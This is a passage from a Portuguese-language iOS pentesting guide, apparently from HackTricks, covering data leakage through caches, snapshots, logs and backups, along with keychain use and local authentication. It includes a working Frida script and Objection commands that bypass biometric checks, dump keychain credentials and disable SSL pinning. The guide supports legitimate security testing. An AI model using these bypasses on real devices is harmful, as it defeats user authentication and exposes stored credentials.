||
|
||
`URLCache.shared.removeAllCachedResponses()`
|
||
|
||
Este método removerá todas as requisições e respostas em cache do arquivo Cache.db.
|
||
2. Se você não precisar usar a vantagem dos cookies, seria recomendado usar a propriedade de configuração [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) do URLSession, que desabilitará o salvamento de cookies e caches.
|
||
|
||
[Documentação da Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||
|
||
`Um objeto de configuração de sessão efêmera é semelhante a uma configuração de sessão padrão (veja padrão), exceto que o objeto de sessão correspondente não armazena caches, armazenamentos de credenciais ou quaisquer dados relacionados à sessão no disco. Em vez disso, os dados relacionados à sessão são armazenados na RAM. A única vez que uma sessão efêmera grava dados no disco é quando você diz para ela gravar o conteúdo de uma URL em um arquivo.`
|
||
3. O cache também pode ser desabilitado definindo a Política de Cache como [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Isso desabilitará o armazenamento de cache de qualquer forma, seja na memória ou no disco.
|
||
|
||
### Snapshots
|
||
|
||
Sempre que você pressiona o botão home, o iOS **tira uma captura de tela da tela atual** para poder fazer a transição para o aplicativo de uma maneira muito mais suave. No entanto, se **dados sensíveis** estiverem presentes na tela atual, eles serão **salvos** na **imagem** (que **persiste** **através** **de** **reinicializações**). Essas são as capturas que você também pode acessar tocando duas vezes na tela inicial para alternar entre aplicativos.
|
||
|
||
A menos que o iPhone esteja com jailbreak, o **atacante** precisa ter **acesso** ao **dispositivo** **desbloqueado** para ver essas capturas de tela. Por padrão, a última captura é armazenada no sandbox do aplicativo na pasta `Library/Caches/Snapshots/` ou `Library/SplashBoard/Snapshots` (os computadores confiáveis não podem acessar o sistema de arquivos a partir do iOS 7.0).
|
||
|
||
Uma maneira de prevenir esse comportamento indesejado é colocar uma tela em branco ou remover os dados sensíveis antes de tirar a captura usando a função `ApplicationDidEnterBackground()`.
|
||
|
||
A seguir está um método de remediação de exemplo que definirá uma captura de tela padrão.
|
||
|
||
Swift:
|
||
```swift
|
||
private var backgroundImage: UIImageView?
|
||
|
||
func applicationDidEnterBackground(_ application: UIApplication) {
|
||
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
|
||
myBanner.frame = UIScreen.main.bounds
|
||
backgroundImage = myBanner
|
||
window?.addSubview(myBanner)
|
||
}
|
||
|
||
func applicationWillEnterForeground(_ application: UIApplication) {
|
||
backgroundImage?.removeFromSuperview()
|
||
}
|
||
```
|
||
Objetivo-C:
|
||
```
|
||
@property (UIImageView *)backgroundImage;
|
||
|
||
- (void)applicationDidEnterBackground:(UIApplication *)application {
|
||
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
|
||
self.backgroundImage = myBanner;
|
||
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||
[self.window addSubview:myBanner];
|
||
}
|
||
|
||
- (void)applicationWillEnterForeground:(UIApplication *)application {
|
||
[self.backgroundImage removeFromSuperview];
|
||
}
|
||
```
|
||
Isso define a imagem de fundo como `overlayImage.png` sempre que o aplicativo é enviado para o segundo plano. Isso previne vazamentos de dados sensíveis porque `overlayImage.png` sempre substituirá a visualização atual.
|
||
|
||
### Keychain
|
||
|
||
Para acessar e gerenciar o keychain do iOS, ferramentas como [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) estão disponíveis, adequadas para dispositivos com jailbreak. Além disso, [**Objection**](https://github.com/sensepost/objection) fornece o comando `ios keychain dump` para propósitos semelhantes.
|
||
|
||
#### **Armazenando Credenciais**
|
||
|
||
A classe **NSURLCredential** é ideal para salvar informações sensíveis diretamente no keychain, evitando a necessidade de NSUserDefaults ou outros wrappers. Para armazenar credenciais após o login, o seguinte código Swift é usado:
|
||
```swift
|
||
NSURLCredential *credential;
|
||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||
```
|
||
Para extrair essas credenciais armazenadas, o comando `ios nsurlcredentialstorage dump` do Objection é utilizado.
|
||
|
||
## **Teclados Personalizados e Cache de Teclado**
|
||
|
||
Com o iOS 8.0 em diante, os usuários podem instalar extensões de teclado personalizadas, que são gerenciáveis em **Ajustes > Geral > Teclado > Teclados**. Embora esses teclados ofereçam funcionalidade estendida, eles representam um risco de registro de teclas e transmissão de dados para servidores externos, embora os usuários sejam notificados sobre teclados que requerem acesso à rede. Os aplicativos podem e devem restringir o uso de teclados personalizados para a entrada de informações sensíveis.
|
||
|
||
**Recomendações de Segurança:**
|
||
|
||
* É aconselhável desativar teclados de terceiros para aumentar a segurança.
|
||
* Esteja ciente dos recursos de correção automática e sugestões automáticas do teclado padrão do iOS, que podem armazenar informações sensíveis em arquivos de cache localizados em `Library/Keyboard/{locale}-dynamic-text.dat` ou `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Esses arquivos de cache devem ser verificados regularmente em busca de dados sensíveis. Recomenda-se redefinir o dicionário do teclado através de **Ajustes > Geral > Redefinir > Redefinir Dicionário do Teclado** para limpar dados em cache.
|
||
* Interceptar o tráfego de rede pode revelar se um teclado personalizado está transmitindo as teclas remotamente.
|
||
|
||
### **Prevenindo o Cache de Campos de Texto**
|
||
|
||
O [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) oferece propriedades para gerenciar a correção automática e a entrada de texto seguro, essenciais para prevenir o cache de informações sensíveis. Por exemplo, desativar a correção automática e habilitar a entrada de texto seguro pode ser alcançado com:
|
||
```objectivec
|
||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||
textObject.secureTextEntry = YES;
|
||
```
|
||
Além disso, os desenvolvedores devem garantir que os campos de texto, especialmente aqueles para inserir informações sensíveis como senhas e PINs, desativem o cache definindo `autocorrectionType` como `UITextAutocorrectionTypeNo` e `secureTextEntry` como `YES`.
|
||
```objectivec
|
||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||
```
|
||
## **Logs**
|
||
|
||
A depuração de código muitas vezes envolve o uso de **logging**. Há um risco envolvido, pois **os logs podem conter informações sensíveis**. Anteriormente, no iOS 6 e em versões anteriores, os logs eram acessíveis a todos os aplicativos, representando um risco de vazamento de dados sensíveis. **Agora, os aplicativos estão restritos a acessar apenas seus próprios logs**.
|
||
|
||
Apesar dessas restrições, um **atacante com acesso físico** a um dispositivo desbloqueado ainda pode explorar isso conectando o dispositivo a um computador e **lendo os logs**. É importante notar que os logs permanecem no disco mesmo após a desinstalação do aplicativo.
|
||
|
||
Para mitigar riscos, é aconselhável **interagir minuciosamente com o aplicativo**, explorando todas as suas funcionalidades e entradas para garantir que nenhuma informação sensível esteja sendo registrada inadvertidamente.
|
||
|
||
Ao revisar o código-fonte do aplicativo em busca de possíveis vazamentos, procure tanto por **declarações de logging** **pré-definidas** quanto **personalizadas**, usando palavras-chave como `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` para funções integradas, e quaisquer menções de `Logging` ou `Logfile` para implementações personalizadas.
|
||
|
||
### **Monitoring System Logs**
|
||
|
||
Os aplicativos registram várias informações que podem ser sensíveis. Para monitorar esses logs, ferramentas e comandos como:
|
||
```bash
|
||
idevice_id --list # To find the device ID
|
||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||
```
|
||
são úteis. Além disso, **Xcode** oferece uma maneira de coletar logs do console:
|
||
|
||
1. Abra o Xcode.
|
||
2. Conecte o dispositivo iOS.
|
||
3. Navegue até **Window** -> **Devices and Simulators**.
|
||
4. Selecione seu dispositivo.
|
||
5. Acione o problema que você está investigando.
|
||
6. Use o botão **Open Console** para visualizar os logs em uma nova janela.
|
||
|
||
Para um registro mais avançado, conectar ao shell do dispositivo e usar **socat** pode fornecer monitoramento de logs em tempo real:
|
||
```bash
|
||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||
```
|
||
Seguido por comandos para observar atividades de log, que podem ser inestimáveis para diagnosticar problemas ou identificar potenciais vazamentos de dados nos logs.
|
||
|
||
***
|
||
|
||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas comunitárias mais avançadas** do mundo.\
|
||
Obtenha Acesso Hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
|
||
|
||
## Backups
|
||
|
||
**Recursos de auto-backup** estão integrados ao iOS, facilitando a criação de cópias de dados do dispositivo através do iTunes (até macOS Catalina), Finder (a partir do macOS Catalina) ou iCloud. Esses backups abrangem quase todos os dados do dispositivo, excluindo elementos altamente sensíveis como detalhes do Apple Pay e configurações do Touch ID.
|
||
|
||
### Riscos de Segurança
|
||
|
||
A inclusão de **aplicativos instalados e seus dados** nos backups levanta a questão de um potencial **vazamento de dados** e o risco de que **modificações no backup possam alterar a funcionalidade do aplicativo**. É aconselhável **não armazenar informações sensíveis em texto simples** dentro do diretório de qualquer aplicativo ou seus subdiretórios para mitigar esses riscos.
|
||
|
||
### Excluindo Arquivos dos Backups
|
||
|
||
Arquivos em `Documents/` e `Library/Application Support/` são salvos por padrão. Os desenvolvedores podem excluir arquivos ou diretórios específicos dos backups usando `NSURL setResourceValue:forKey:error:` com a chave `NSURLIsExcludedFromBackupKey`. Essa prática é crucial para proteger dados sensíveis de serem incluídos nos backups.
|
||
|
||
### Testando Vulnerabilidades
|
||
|
||
Para avaliar a segurança do backup de um aplicativo, comece por **criar um backup** usando o Finder, depois localize-o usando as orientações da [documentação oficial da Apple](https://support.apple.com/en-us/HT204215). Analise o backup em busca de dados sensíveis ou configurações que possam ser alteradas para afetar o comportamento do aplicativo.
|
||
|
||
Informações sensíveis podem ser buscadas usando ferramentas de linha de comando ou aplicativos como [iMazing](https://imazing.com). Para backups criptografados, a presença de criptografia pode ser confirmada verificando a chave "IsEncrypted" no arquivo "Manifest.plist" na raiz do backup.
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||
<plist version="1.0">
|
||
...
|
||
<key>Date</key>
|
||
<date>2021-03-12T17:43:33Z</date>
|
||
<key>IsEncrypted</key>
|
||
<true/>
|
||
...
|
||
</plist>
|
||
```
|
||
Para lidar com backups criptografados, scripts Python disponíveis no [repositório GitHub da DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), como **backup\_tool.py** e **backup\_passwd.py**, podem ser úteis, embora possam exigir ajustes para compatibilidade com as versões mais recentes do iTunes/Finder. A ferramenta [**iOSbackup**](https://pypi.org/project/iOSbackup/) é outra opção para acessar arquivos dentro de backups protegidos por senha.
|
||
|
||
### Modificando o Comportamento do App
|
||
|
||
Um exemplo de alteração do comportamento do app através de modificações no backup é demonstrado no [aplicativo de carteira bitcoin Bither](https://github.com/bither/bither-ios), onde o PIN de bloqueio da interface do usuário é armazenado em `net.bither.plist` sob a chave **pin\_code**. Remover essa chave do plist e restaurar o backup remove a exigência do PIN, proporcionando acesso irrestrito.
|
||
|
||
## Resumo sobre Testes de Memória para Dados Sensíveis
|
||
|
||
Ao lidar com informações sensíveis armazenadas na memória de um aplicativo, é crucial limitar o tempo de exposição desses dados. Existem duas abordagens principais para investigar o conteúdo da memória: **criar um dump de memória** e **analisar a memória em tempo real**. Ambos os métodos têm seus desafios, incluindo a possibilidade de perder dados críticos durante o processo de dump ou análise.
|
||
|
||
## **Recuperando e Analisando um Dump de Memória**
|
||
|
||
Para dispositivos com jailbreak e sem jailbreak, ferramentas como [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) permitem o dump da memória do processo de um app. Uma vez feito o dump, a análise desses dados requer várias ferramentas, dependendo da natureza das informações que você está procurando.
|
||
|
||
Para extrair strings de um dump de memória, comandos como `strings` ou `rabin2 -zz` podem ser usados:
|
||
```bash
|
||
# Extracting strings using strings command
|
||
$ strings memory > strings.txt
|
||
|
||
# Extracting strings using rabin2
|
||
$ rabin2 -ZZ memory > strings.txt
|
||
```
|
||
Para uma análise mais detalhada, incluindo a busca por tipos de dados ou padrões específicos, **radare2** oferece amplas capacidades de busca:
|
||
```bash
|
||
$ r2 <name_of_your_dump_file>
|
||
[0x00000000]> /?
|
||
...
|
||
```
|
||
## **Análise de Memória em Tempo de Execução**
|
||
|
||
**r2frida** fornece uma alternativa poderosa para inspecionar a memória de um aplicativo em tempo real, sem a necessidade de um despejo de memória. Esta ferramenta permite a execução de comandos de busca diretamente na memória do aplicativo em execução:
|
||
```bash
|
||
$ r2 frida://usb//<name_of_your_app>
|
||
[0x00000000]> /\ <search_command>
|
||
```
|
||
## Quebra de Criptografia
|
||
|
||
### Processos de Gerenciamento de Chaves Ruins
|
||
|
||
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois alguma reversão pode permitir que atacantes extraiam as informações confidenciais.
|
||
|
||
### Uso de Algoritmos Inseguros e/ou Obsoletos
|
||
|
||
Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações** de **autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem ser usados hashes resistentes a **brute-force** com sal.
|
||
|
||
### Verificação
|
||
|
||
As principais verificações a serem realizadas são encontrar se você pode encontrar **senhas**/**segredos** **codificados** no código, ou se esses são **previsíveis**, e se o código está usando algum tipo de algoritmos de **criptografia** **fracos**.
|
||
|
||
É interessante saber que você pode **monitorar** algumas **bibliotecas** **crypto** automaticamente usando **objection** com:
|
||
```swift
|
||
ios monitor crypt
|
||
```
|
||
Para **mais informações** sobre APIs e bibliotecas criptográficas do iOS, acesse [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||
|
||
## Autenticação Local
|
||
|
||
**A autenticação local** desempenha um papel crucial, especialmente quando se trata de proteger o acesso a um ponto final remoto por meio de métodos criptográficos. A essência aqui é que, sem uma implementação adequada, os mecanismos de autenticação local podem ser contornados.
|
||
|
||
O [**framework de Autenticação Local**](https://developer.apple.com/documentation/localauthentication) da Apple e o [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) fornecem APIs robustas para os desenvolvedores facilitarem diálogos de autenticação do usuário e lidarem com dados secretos de forma segura, respectivamente. O Secure Enclave protege a ID de impressão digital para o Touch ID, enquanto o Face ID depende do reconhecimento facial sem comprometer os dados biométricos.
|
||
|
||
Para integrar o Touch ID/Face ID, os desenvolvedores têm duas opções de API:
|
||
|
||
* **`LocalAuthentication.framework`** para autenticação de usuário em alto nível sem acesso a dados biométricos.
|
||
* **`Security.framework`** para acesso a serviços de keychain em nível mais baixo, protegendo dados secretos com autenticação biométrica. Vários [wrappers de código aberto](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) tornam o acesso ao keychain mais simples.
|
||
|
||
{% hint style="danger" %}
|
||
No entanto, tanto `LocalAuthentication.framework` quanto `Security.framework` apresentam vulnerabilidades, pois retornam principalmente valores booleanos sem transmitir dados para processos de autenticação, tornando-os suscetíveis a contornos (consulte [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||
{% endhint %}
|
||
|
||
### Implementando Autenticação Local
|
||
|
||
Para solicitar autenticação dos usuários, os desenvolvedores devem utilizar o método **`evaluatePolicy`** dentro da classe **`LAContext`**, escolhendo entre:
|
||
|
||
* **`deviceOwnerAuthentication`**: Solicita Touch ID ou código de acesso do dispositivo, falhando se nenhum dos dois estiver habilitado.
|
||
* **`deviceOwnerAuthenticationWithBiometrics`**: Solicita exclusivamente Touch ID.
|
||
|
||
Uma autenticação bem-sucedida é indicada por um valor de retorno booleano de **`evaluatePolicy`**, destacando uma potencial falha de segurança.
|
||
|
||
### Autenticação Local usando Keychain
|
||
|
||
Implementar **autenticação local** em aplicativos iOS envolve o uso de **APIs de keychain** para armazenar dados secretos, como tokens de autenticação, de forma segura. Esse processo garante que os dados só possam ser acessados pelo usuário, usando seu código de acesso do dispositivo ou autenticação biométrica como Touch ID.
|
||
|
||
O keychain oferece a capacidade de definir itens com o atributo `SecAccessControl`, que restringe o acesso ao item até que o usuário autentique com sucesso via Touch ID ou código de acesso do dispositivo. Esse recurso é crucial para aumentar a segurança.
|
||
|
||
Abaixo estão exemplos de código em Swift e Objective-C demonstrando como salvar e recuperar uma string do keychain, aproveitando esses recursos de segurança. Os exemplos mostram especificamente como configurar o controle de acesso para exigir autenticação do Touch ID e garantir que os dados sejam acessíveis apenas no dispositivo em que foram configurados, sob a condição de que um código de acesso do dispositivo esteja configurado.
|
||
|
||
{% tabs %}
|
||
{% tab title="Swift" %}
|
||
```swift
|
||
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
|
||
|
||
// 1. create AccessControl object that will represent authentication settings
|
||
|
||
var error: Unmanaged<CFError>?
|
||
|
||
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
|
||
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
|
||
SecAccessControlCreateFlags.biometryCurrentSet,
|
||
&error) else {
|
||
// failed to create AccessControl object
|
||
|
||
return
|
||
}
|
||
|
||
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
|
||
|
||
var query: [String: Any] = [:]
|
||
|
||
query[kSecClass as String] = kSecClassGenericPassword
|
||
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
|
||
query[kSecAttrAccount as String] = "OWASP Account" as CFString
|
||
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
|
||
query[kSecAttrAccessControl as String] = accessControl
|
||
|
||
// 3. save item
|
||
|
||
let status = SecItemAdd(query as CFDictionary, nil)
|
||
|
||
if status == noErr {
|
||
// successfully saved
|
||
} else {
|
||
// error while saving
|
||
}
|
||
```
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
```objectivec
|
||
// 1. create AccessControl object that will represent authentication settings
|
||
CFErrorRef *err = nil;
|
||
|
||
SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
|
||
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
|
||
kSecAccessControlUserPresence,
|
||
err);
|
||
|
||
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
|
||
NSDictionary* query = @{
|
||
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
|
||
(__bridge id)kSecAttrAccount: @"OWASP Account",
|
||
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
|
||
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
|
||
};
|
||
|
||
// 3. save item
|
||
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);
|
||
|
||
if (status == noErr) {
|
||
// successfully saved
|
||
} else {
|
||
// error while saving
|
||
}
|
||
```
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
Agora podemos solicitar o item salvo do keychain. Os serviços de keychain apresentarão o diálogo de autenticação ao usuário e retornarão dados ou nil, dependendo se uma impressão digital adequada foi fornecida ou não.
|
||
|
||
{% tabs %}
|
||
{% tab title="Swift" %}
|
||
```swift
|
||
// 1. define query
|
||
var query = [String: Any]()
|
||
query[kSecClass as String] = kSecClassGenericPassword
|
||
query[kSecReturnData as String] = kCFBooleanTrue
|
||
query[kSecAttrAccount as String] = "My Name" as CFString
|
||
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
|
||
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
|
||
|
||
// 2. get item
|
||
var queryResult: AnyObject?
|
||
let status = withUnsafeMutablePointer(to: &queryResult) {
|
||
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
|
||
}
|
||
|
||
if status == noErr {
|
||
let password = String(data: queryResult as! Data, encoding: .utf8)!
|
||
// successfully received password
|
||
} else {
|
||
// authorization not passed
|
||
}
|
||
```
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
```objectivec
|
||
// 1. define query
|
||
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||
(__bridge id)kSecReturnData: @YES,
|
||
(__bridge id)kSecAttrAccount: @"My Name1",
|
||
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
|
||
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };
|
||
|
||
// 2. get item
|
||
CFTypeRef queryResult = NULL;
|
||
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);
|
||
|
||
if (status == noErr){
|
||
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
|
||
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
|
||
NSLog(@"%@", password);
|
||
} else {
|
||
NSLog(@"Something went wrong");
|
||
}
|
||
```
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
### Detecção
|
||
|
||
O uso de frameworks em um aplicativo também pode ser detectado analisando a lista de bibliotecas dinâmicas compartilhadas do binário do aplicativo. Isso pode ser feito usando `otool`:
|
||
```bash
|
||
$ otool -L <AppName>.app/<AppName>
|
||
```
|
||
Se `LocalAuthentication.framework` for usado em um aplicativo, a saída conterá ambas as linhas a seguir (lembre-se de que `LocalAuthentication.framework` usa `Security.framework` por baixo):
|
||
```bash
|
||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||
/System/Library/Frameworks/Security.framework/Security
|
||
```
|
||
Se `Security.framework` for utilizado, apenas o segundo será exibido.
|
||
|
||
### Bypass do Framework de Autenticação Local
|
||
|
||
#### **Objection**
|
||
|
||
Através do **Objection Biometrics Bypass**, localizado [nesta página do GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), uma técnica está disponível para superar o mecanismo **LocalAuthentication**. O núcleo dessa abordagem envolve aproveitar o **Frida** para manipular a função `evaluatePolicy`, garantindo que ela sempre retorne um resultado `True`, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica defeituosos.
|
||
|
||
Para ativar esse bypass, o seguinte comando é empregado:
|
||
```bash
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
||
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
|
||
(agent) [3mhtws9x47q] OS authentication response: false
|
||
(agent) [3mhtws9x47q] Marking OS response as True instead
|
||
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
||
```
|
||
Este comando inicia uma sequência onde o Objection registra uma tarefa que efetivamente altera o resultado da verificação `evaluatePolicy` para `True`.
|
||
|
||
#### Frida
|
||
|
||
Um exemplo de uso de **`evaluatePolicy`** do [DVIA-v2 application](https://github.com/prateek147/DVIA-v2):
|
||
```swift
|
||
+(void)authenticateWithTouchID {
|
||
LAContext *myContext = [[LAContext alloc] init];
|
||
NSError *authError = nil;
|
||
NSString *myLocalizedReasonString = @"Please authenticate yourself";
|
||
|
||
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
|
||
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
|
||
localizedReason:myLocalizedReasonString
|
||
reply:^(BOOL success, NSError *error) {
|
||
if (success) {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
|
||
});
|
||
} else {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
|
||
});
|
||
}
|
||
}];
|
||
} else {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
|
||
});
|
||
}
|
||
}
|
||
```
|
||
Para alcançar o **bypass** da Autenticação Local, um script Frida é escrito. Este script visa a verificação **evaluatePolicy**, interceptando seu callback para garantir que retorne **success=1**. Ao alterar o comportamento do callback, a verificação de autenticação é efetivamente contornada.
|
||
|
||
O script abaixo é injetado para modificar o resultado do método **evaluatePolicy**. Ele altera o resultado do callback para sempre indicar sucesso.
|
||
```swift
|
||
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
|
||
if(ObjC.available) {
|
||
console.log("Injecting...");
|
||
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
|
||
Interceptor.attach(hook.implementation, {
|
||
onEnter: function(args) {
|
||
var block = new ObjC.Block(args[4]);
|
||
const callback = block.implementation;
|
||
block.implementation = function (error, value) {
|
||
|
||
console.log("Changing the result value to true")
|
||
const result = callback(1, null);
|
||
return result;
|
||
};
|
||
},
|
||
});
|
||
} else {
|
||
console.log("Objective-C Runtime is not available!");
|
||
}
|
||
```
|
||
Para injetar o script Frida e contornar a autenticação biométrica, o seguinte comando é usado:
|
||
```bash
|
||
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
||
```
|
||
## Exposição de Funcionalidade Sensível Através de IPC
|
||
|
||
### Manipuladores de URI Personalizados / Deeplinks / Esquemas Personalizados
|
||
|
||
{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %}
|
||
[ios-custom-uri-handlers-deeplinks-custom-schemes.md](ios-custom-uri-handlers-deeplinks-custom-schemes.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Links Universais
|
||
|
||
{% content-ref url="ios-universal-links.md" %}
|
||
[ios-universal-links.md](ios-universal-links.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Compartilhamento UIActivity
|
||
|
||
{% content-ref url="ios-uiactivity-sharing.md" %}
|
||
[ios-uiactivity-sharing.md](ios-uiactivity-sharing.md)
|
||
{% endcontent-ref %}
|
||
|
||
### UIPasteboard
|
||
|
||
{% content-ref url="ios-uipasteboard.md" %}
|
||
[ios-uipasteboard.md](ios-uipasteboard.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Extensões de Aplicativo
|
||
|
||
{% content-ref url="ios-app-extensions.md" %}
|
||
[ios-app-extensions.md](ios-app-extensions.md)
|
||
{% endcontent-ref %}
|
||
|
||
### WebViews
|
||
|
||
{% content-ref url="ios-webviews.md" %}
|
||
[ios-webviews.md](ios-webviews.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Serialização e Codificação
|
||
|
||
{% content-ref url="ios-serialisation-and-encoding.md" %}
|
||
[ios-serialisation-and-encoding.md](ios-serialisation-and-encoding.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Comunicação de Rede
|
||
|
||
É importante verificar se nenhuma comunicação está ocorrendo **sem criptografia** e também se o aplicativo está **validando corretamente o certificado TLS** do servidor.\
|
||
Para verificar esses tipos de problemas, você pode usar um proxy como **Burp**:
|
||
|
||
{% content-ref url="burp-configuration-for-ios.md" %}
|
||
[burp-configuration-for-ios.md](burp-configuration-for-ios.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Verificação de Nome de Host
|
||
|
||
Um problema comum na validação do certificado TLS é verificar se o certificado foi assinado por uma **CA** **confiável**, mas **não verificar** se **o nome do host** do certificado é o nome do host que está sendo acessado.\
|
||
Para verificar esse problema usando Burp, após confiar na CA do Burp no iPhone, você pode **criar um novo certificado com Burp para um nome de host diferente** e usá-lo. Se o aplicativo ainda funcionar, então, algo está vulnerável.
|
||
|
||
### Pinagem de Certificado
|
||
|
||
Se um aplicativo estiver usando corretamente a Pinagem SSL, então o aplicativo só funcionará se o certificado for o esperado. Ao testar um aplicativo, **isso pode ser um problema, pois o Burp servirá seu próprio certificado.**\
|
||
Para contornar essa proteção em um dispositivo com jailbreak, você pode instalar o [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ou instalar [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||
|
||
Você também pode usar **objection's** `ios sslpinning disable`
|
||
|
||
## Diversos
|
||
|
||
* Em **`/System/Library`** você pode encontrar os frameworks instalados no telefone usados por aplicativos do sistema
|
||
* Os aplicativos instalados pelo usuário na App Store estão localizados dentro de **`/User/Applications`**
|
||
* E o **`/User/Library`** contém dados salvos pelos aplicativos de nível de usuário
|
||
* Você pode acessar **`/User/Library/Notes/notes.sqlite`** para ler as notas salvas dentro do aplicativo.
|
||
* Dentro da pasta de um aplicativo instalado (**`/User/Applications/<APP ID>/`**) você pode encontrar alguns arquivos interessantes:
|
||
* **`iTunesArtwork`**: O ícone usado pelo aplicativo
|
||
